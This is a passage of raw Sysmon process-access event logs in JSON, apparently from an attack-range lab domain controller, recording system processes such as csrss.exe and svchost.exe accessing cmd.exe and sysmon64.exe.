Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3634,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.809\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-0010BFF70400}\r\nTargetProcessId: 4564\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.809","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-0010BFF70400}","TargetProcessId":"4564","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3635,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.809\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.809","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3636,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.809\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.809","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3637,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.809\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.809","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3638,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.809\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.809","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3639,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.809\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.809","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3640,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.809\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.809","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3641,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.809\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.809","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3642,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.809\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 